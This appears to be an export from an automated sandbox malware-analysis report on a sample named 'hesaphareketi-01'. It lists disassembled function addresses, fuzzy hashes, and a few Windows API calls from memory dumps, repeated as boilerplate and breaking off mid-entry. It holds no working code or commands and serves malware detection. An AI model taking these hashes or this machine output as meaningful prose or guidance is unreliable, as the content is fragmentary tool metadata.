Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID: ========== ENDGC %d (gen = %lu, collect_classes = %lu) ===========}
API String ID: 0-2256439813
Opcode ID: 061b6938f4016a34bcb0bd81591986c075d9c77a106380fc5b89187094526531
Instruction ID: 93f7bdd9dc6c5b5647af9ed16ecce6111d46f1f0b731565789656e1055a7f8d0
Opcode Fuzzy Hash: 061b6938f4016a34bcb0bd81591986c075d9c77a106380fc5b89187094526531
Instruction Fuzzy Hash: 0042B832A0AB46A6EE59AF1AE4C0379B3A1FF05744F944139CA4D93361DF3DE462D720

Function 00007FF7341EE2F0 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

?, xrefs: 00007FF7341EE33E

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: 39d35dd192e213be530d99728a9c3530756a8bd52014cd6a83916c8dc71fdbc9
Instruction ID: 470b5ba9b5d7e907aefb952bc7eb88a5ae5cd8388a2bbd1226f66f8ef37e0aa9
Opcode Fuzzy Hash: 39d35dd192e213be530d99728a9c3530756a8bd52014cd6a83916c8dc71fdbc9
Instruction Fuzzy Hash: D912003AA08F4292EA28EF03F484679B3A1FB45B94F944235DA5D93794DF3CE481D714

Function 00007FF7341DDD30 Relevance: 1.6, APIs: 1, Instructions: 55timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF7341D56DF), ref: 00007FF7341DDDFC

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: 5c980d6ba46e3a73f0dcc2ee7f1a165251c54b4aeab7c0793880b0067312ad67
Instruction ID: c12cc9161d148d02d6932aa758d479055721f641a064f269e33710a0e5e90e08
Opcode Fuzzy Hash: 5c980d6ba46e3a73f0dcc2ee7f1a165251c54b4aeab7c0793880b0067312ad67
Instruction Fuzzy Hash: 53212832A08B42A7EF48EF66F880269B2E0EB4A340F84413DE54D93351DF3DA5409760

Function 00007FF7341F40D0 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7341F4313

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CounterPerformanceQuery
String ID:
API String ID: 2783962273-3916222277
Opcode ID: d52441a9fe127e5d59a6260759f4b20b6237ae2c80609afff28cd25b6676035c
Instruction ID: 9bdcad5af30c3a80de1198ba5b65a5d139dc22394d842d683440eb885e208f1b
Opcode Fuzzy Hash: d52441a9fe127e5d59a6260759f4b20b6237ae2c80609afff28cd25b6676035c
Instruction Fuzzy Hash: E3D1E662A1DE4691EA18AF26F480279A3D0FF51BA4F844335DB6D937D4CF3CE442A310

Function 00007FF7341E69D0 Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

X@2, xrefs: 00007FF7341E6B9A

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID: X@2
API String ID: 0-2772482207
Opcode ID: 2c5450eb009bbb477380e5294b5de819db12dd9e00ce9680b9f4d20b2e4ec7d5
Instruction ID: 6f95bef056c37f4f7d3565f3f8251fc8f584a9b0e19d93000d5da504234f6c61
Opcode Fuzzy Hash: 2c5450eb009bbb477380e5294b5de819db12dd9e00ce9680b9f4d20b2e4ec7d5
Instruction Fuzzy Hash: B0917036E1DB42A6EA28AF16F8C0369B3A0FB46744FD04139D94D93360DF3CE491A714

Function 00007FF734202700 Relevance: .9, Instructions: 945COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9884e8459a2da4eee788d28edbed6ad75013be01f180accf8dedfb5a0459d2e
Instruction ID: 17e3cd80659a790a2cc54ec84a5a67f3d739b7ffbcb10434a6b060861d88e293
Opcode Fuzzy Hash: d9884e8459a2da4eee788d28edbed6ad75013be01f180accf8dedfb5a0459d2e
Instruction Fuzzy Hash: D392A162A18B4665EE49BF57A9C4674E3D5BF46BC0F84413AD80EF3360DE3DE841A321

Function 00007FF734203600 Relevance: .6, Instructions: 626COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549e6052dfb5f75015054c6104143178bc8924d384410c045d17cae26b1dd661
Instruction ID: 6d5b7efbaa4c35c8d77bd0164499130bcf281029e2dd30101034bc44e89153bc
Opcode Fuzzy Hash: 549e6052dfb5f75015054c6104143178bc8924d384410c045d17cae26b1dd661
Instruction Fuzzy Hash: FF42DF32B08B4696EB18AF26E4845ACB7F1FB44B88F440536EE4DA7B58CE3DE441D711

Function 00007FF734203F70 Relevance: .6, Instructions: 583COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bc02a47b9c6b537f87ba7f03e9d8996afc695ebb4e05c8f65f414fc91164dd3
Instruction ID: aa3b3af9c88b347535baa0422fa8fd936f34a1faf91495ee55cd6ecb01088809
Opcode Fuzzy Hash: 7bc02a47b9c6b537f87ba7f03e9d8996afc695ebb4e05c8f65f414fc91164dd3
Instruction Fuzzy Hash: 4B32F432F09B45A6EB18DF66D4842ACA7F2AB04788F804136CE0DB7798DE39E455D361

Function 00007FF7341EFDA0 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567bd8c800cafad585b7cf90b26b86391f749c9adea7eec1786a4c820cec952b
Instruction ID: f0affa4e1a327dbc150a6ad7330c03870f245c902c8f611913c667e3edc106dd
Opcode Fuzzy Hash: 567bd8c800cafad585b7cf90b26b86391f749c9adea7eec1786a4c820cec952b
Instruction Fuzzy Hash: 7D02B272B05E42A6EB589F5AE480678B790AB41BA4FC44335DB2E977D5CF3CE441E320

Function 00007FF7341F69D0 Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9fc67e00198cb791d6b42d7e224a19ac5270105391cad9a71a2955a2d292d9
Instruction ID: 3f355bca40b6cc608148b3b5d70ba25b5017a41fbc1ab9d531b466e3f32117a3
Opcode Fuzzy Hash: ae9fc67e00198cb791d6b42d7e224a19ac5270105391cad9a71a2955a2d292d9
Instruction Fuzzy Hash: A5F10822F26B4D51E91A9A3761813B8D7915F6A7C0E5CCB36E94D76770EF3CB083A210

Function 00007FF7341F4890 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a30e9ccede4defc8cb9bb7021f2aed867e6faa058a659ec2196f15f4e69dc293
Instruction ID: a8be3322c8e28839b23d93c306ef927016899d1ab7723c3b92b799b04dcca90e
Opcode Fuzzy Hash: a30e9ccede4defc8cb9bb7021f2aed867e6faa058a659ec2196f15f4e69dc293
Instruction Fuzzy Hash: 18F1F272B09F8592EB189F26A484278A3A0FB55BA4F945331CF6D57791DF3CE082E310

Function 00007FF7341EF7F4 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CounterPerformanceQuery
String ID:
API String ID: 2783962273-0
Opcode ID: c1850e810df6202e2c71cd3c6d27a795553a239f11018daae015bd6db6a2eabd
Instruction ID: 4b4ff88a9ed8d4b61f07d42f69d4740d8403e8455c58fa38593a7ae350d54019
Opcode Fuzzy Hash: c1850e810df6202e2c71cd3c6d27a795553a239f11018daae015bd6db6a2eabd
Instruction Fuzzy Hash: F402E726A19F4671EE59EF26A4D0334A7A0BF49784FA44239DD4DA33A0DF3DE481D224

Function 00007FF7342089D0 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a067f801db91a70f563a5d40447dd11d047fed665657b512b0d6a88a55159cf1
Instruction ID: cd6009f9a3c2cd7f1c96d56a0886c9c5a5c53e4533abd88a52e28faec612bc26
Opcode Fuzzy Hash: a067f801db91a70f563a5d40447dd11d047fed665657b512b0d6a88a55159cf1
Instruction Fuzzy Hash: 77E1C272A08B45A6EB59AF26D484379B7E1FB45B80F80423AC94DE3390DF3DE445E712

Function 00007FF7341F2934 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d93270e60e16491fbe54944405fcef5222b15305876aeadfc7a3f6476fd23a8
Instruction ID: 0704fd0ff0ea45c639977fe5d9a765b551556945cf8edb0c334f8a52e5d24956
Opcode Fuzzy Hash: 2d93270e60e16491fbe54944405fcef5222b15305876aeadfc7a3f6476fd23a8
Instruction Fuzzy Hash: E1E10623A1BFC555E51BEF36A091375E398AF567C0F848332DE4F72662DF2961839210

Function 00007FF7341F88C0 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4edf0397d65345d120d8a261b0ef52faea315b51b514a397b6118f37b68e7496
Instruction ID: d6f859fe881199a3224c01121fbf0049257bff26ac6717046641028a1ddee733
Opcode Fuzzy Hash: 4edf0397d65345d120d8a261b0ef52faea315b51b514a397b6118f37b68e7496
Instruction Fuzzy Hash: D5C19532A19A46A1EE58AF07F8D0278B7A0FF46B90F844235CA6D93794DF7CE451E314

Function 00007FF734202290 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f81cb8a8fa680b7983bac6cb0d1cb7bd7e58e6fd297d06bcd676f255ee82a72e
Instruction ID: 5e0da08d0122df8ef1c3b4bb6a378f5e230c3848befed510a759d828eae09902
Opcode Fuzzy Hash: f81cb8a8fa680b7983bac6cb0d1cb7bd7e58e6fd297d06bcd676f255ee82a72e
Instruction Fuzzy Hash: FEC17432A08B46A2DE58EF07E8D4178B7A5FB46790B840136D95DE77A4CF3DE850E321

Function 00007FF7341F57F0 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a88597bd80fbec51528b2ed85b6bd883d763db581cbee44f11464c4b77c7b693
Instruction ID: d38225d4a3fd494e6e56e924e92ae40456c4534e7c45ddd29f2dde224e0d6a0d
Opcode Fuzzy Hash: a88597bd80fbec51528b2ed85b6bd883d763db581cbee44f11464c4b77c7b693
Instruction Fuzzy Hash: 9A913672B15A9593DB588F0AE4806A87BA2F785BC0F854139DB4ED7B09DF3CD805DB10

Function 00007FF7341F8D40 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437c2bb9eed3bb237656b73319d9a7c63277ab8907db6804528c2f463d4bd837
Instruction ID: f2611abccf74043bac6868b1a193a98daec546572f8be02cc03bae415d30e0eb
Opcode Fuzzy Hash: 437c2bb9eed3bb237656b73319d9a7c63277ab8907db6804528c2f463d4bd837
Instruction Fuzzy Hash: EF512B12F5BF0D11E90E9B3B6181679C1825F5A7C0E9CCB31DA0E72791EF7DB092A110

Function 00007FF7341F3010 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd315fed3be031c9e26a90a11914652993b972776a13770548698b9b4cb4de5d
Instruction ID: 9f92853b34f2199f1b8d433816e6705571043b61b87492f21dcd302e9a1ce060
Opcode Fuzzy Hash: dd315fed3be031c9e26a90a11914652993b972776a13770548698b9b4cb4de5d
Instruction Fuzzy Hash: C8613832E19F8955DA1EDF26A4C1928E39ABF457C0B949335DE0FA3251DF3CA092D610

Function 00007FF7341FF360 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1fa7a848999a6a82e6943152a9856c355e6e1e90088799d98739f212ba5528bb
Instruction ID: 89f1ca8f88a19968f1302c81f8992887b6fdbfacee4c00419c5013dd5a4cb25e
